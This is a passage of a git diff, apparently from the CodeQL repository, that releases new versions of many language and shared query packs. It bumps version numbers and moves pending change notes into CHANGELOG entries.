b/python/ql/src/codeql-pack.release.yml index 639f80c43417..c5775c46013c 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 6e181439ee01..d29907ecbe8d 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1-dev +version: 1.5.1 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index 4d3dfc9c4360..f637009e8a18 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,15 @@ +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + ## 4.1.6 No user-facing changes. diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md deleted file mode 100644 index 3a0878e6553c..000000000000 --- a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file diff --git a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md b/ruby/ql/lib/change-notes/released/4.1.7.md similarity index 68% rename from ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md rename to ruby/ql/lib/change-notes/released/4.1.7.md index b71b60c22b3d..00625c5c5d8d 100644 --- a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md +++ b/ruby/ql/lib/change-notes/released/4.1.7.md @@ -1,6 +1,11 @@ ---- -category: fix ---- +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + ### Bug Fixes * The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 8b32e3bae01c..6a89491cdb81 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.6 +lastReleaseVersion: 4.1.7 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 2548f8c10745..a13854cf27a8 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7-dev +version: 4.1.7 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 0a3ce10b979c..3bf0a2d63120 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. + ## 1.3.0 ### Query Metadata Changes diff --git a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/ruby/ql/src/change-notes/released/1.3.1.md similarity index 64% rename from ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to ruby/ql/src/change-notes/released/1.3.1.md index 684b1b3ea78f..8d892f72ed06 100644 --- a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/ruby/ql/src/change-notes/released/1.3.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.3.1 + +### Minor Analysis Improvements + * The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index ec16350ed6fd..e71b6d081f15 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.0 +lastReleaseVersion: 1.3.1 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index ed987a474545..7247e94124a9 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1-dev +version: 1.3.1 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 3000a1098cc4..f37d7ac4bae7 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.9.md b/rust/ql/lib/change-notes/released/0.1.9.md new file mode 100644 index 000000000000..e93006d794f2 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 3136ea4a1cc9..1425c0edf7f8 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ce213d8ebbad..17dea2358509 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9-dev +version: 0.1.9 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index a7c23fbfd30a..8b870ea5f99d 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.9.md b/rust/ql/src/change-notes/released/0.1.9.md new file mode 100644 index 000000000000..e93006d794f2 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 3136ea4a1cc9..1425c0edf7f8 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 3ce216f0a2d7..ddd0cee92d52 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9-dev +version: 0.1.9 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 1aab9a2eebaf..8748a58b0c45 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.8.md b/shared/controlflow/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 08d5e9594498..7ffb2d9f65be 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 83f9b6f67a42..ea02e74b8d4f 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 36d289f7f049..2fe45acb03cc 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.8.md b/shared/dataflow/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 08d5e9594498..7ffb2d9f65be 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 3c70d1d8c2d3..9fa1e52fdb37 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 5efa3ce9aec8..3c432d1383f7 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.24.md b/shared/mad/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 8cbab3cbcd63..c06bf28103e9 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 59b60bad0f37..7668a5ba39d5 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.2 + +No user-facing changes. + ## 0.0.1 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.2.md b/shared/quantum/change-notes/released/0.0.2.md new file mode 100644 index 000000000000..5ab250998ed4 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.2.md @@ -0,0 +1,3 @@ +## 0.0.2 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index c6933410b71c..55dc06fbd76a 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.1 +lastReleaseVersion: 0.0.2 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4abda024832b..e8f696ad279e 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2-dev +version: 0.0.2 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 75bb80c6db72..5716e3329200 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.24.md b/shared/rangeanalysis/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index d551bb79db47..b9165e57d301 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 59bbd8cf93b5..36cbdcef2abc 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.24.md b/shared/regex/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 41c9b1ba0439..84c4b249f579 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 509445eb6b13..85891c547617 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. + ## 1.1.2 No user-facing changes. diff --git a/shared/ssa/change-notes/2025-05-23-guards-interface.md b/shared/ssa/change-notes/released/2.0.0.md similarity index 87% rename from shared/ssa/change-notes/2025-05-23-guards-interface.md rename to shared/ssa/change-notes/released/2.0.0.md index cc8d76372f6a..39ac6d68707b 100644 --- a/shared/ssa/change-notes/2025-05-23-guards-interface.md +++ b/shared/ssa/change-notes/released/2.0.0.md @@ -1,4 +1,5 @@ ---- -category: breaking ---- +## 2.0.0 + +### Breaking Changes + * Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 53ab127707fc..0abe6ccede0f 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.2 +lastReleaseVersion: 2.0.0 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index fe5fa023a96c..03bab1e16506 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.3-dev +version: 2.0.0 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index c3254e1caad7..a684ef060a5c 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.24.md b/shared/threat-models/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a86c29ceba3c..328719e2a0d9 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24-dev +version: 1.0.24 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index 247d9be86a5e..b0f9b01001b6 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.24.md b/shared/tutorial/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index a0aa1a8b3aed..b9b63085e1f7 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index cad6ded5224f..7f8c43e4544f 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.24.md b/shared/typeflow/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 123e7a98891f..5b91c29a4de7 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 4ffbff1e0c4e..9b269441c000 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.5 + +No user-facing changes. + ## 0.0.4 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.5.md b/shared/typeinference/change-notes/released/0.0.5.md new file mode 100644 index 000000000000..766ec2723b56 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.5.md @@ -0,0 +1,3 @@ +## 0.0.5 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index ec411a674bcd..bb45a1ab0182 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.4 +lastReleaseVersion: 0.0.5 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index bbfe2ad66157..93bbac0b367c 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5-dev +version: 0.0.5 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 16294923597f..731844b4af36 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.8.md b/shared/typetracking/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 08d5e9594498..7ffb2d9f65be 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index eef6fe52e662..82a30f6cec3c 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index c7ff1a773da2..a81f798d14cb 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.24.md b/shared/typos/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 93833e02e664..37b286426850 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index f6f7838bc2ee..70486f1eeb4c 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.11 + +No user-facing changes. + ## 2.0.10 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.11.md b/shared/util/change-notes/released/2.0.11.md new file mode 100644 index 000000000000..b3d110bcba50 --- /dev/null +++ b/shared/util/change-notes/released/2.0.11.md @@ -0,0 +1,3 @@ +## 2.0.11 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 96ea0220a690..3cbe73b4cadc 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.10 +lastReleaseVersion: 2.0.11 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index e4cfbd97b6ec..7da687aff4ef 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11-dev +version: 2.0.11 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index bdb83dc88300..43afc43456bd 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.24.md b/shared/xml/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 73910c05517a..790a260ddad7 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index 28ca258e0d54..a324870b225c 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.24.md b/shared/yaml/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index 0f96ba41d168..d08329a98fc8 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index dabb1a335057..56e0c9d83e03 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 1c9326d76e89..fe8bfd82364b 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,20 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library + ## 4.3.0 ### New Features diff --git a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md deleted file mode 100644 index aa3282d33263..000000000000 --- a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md 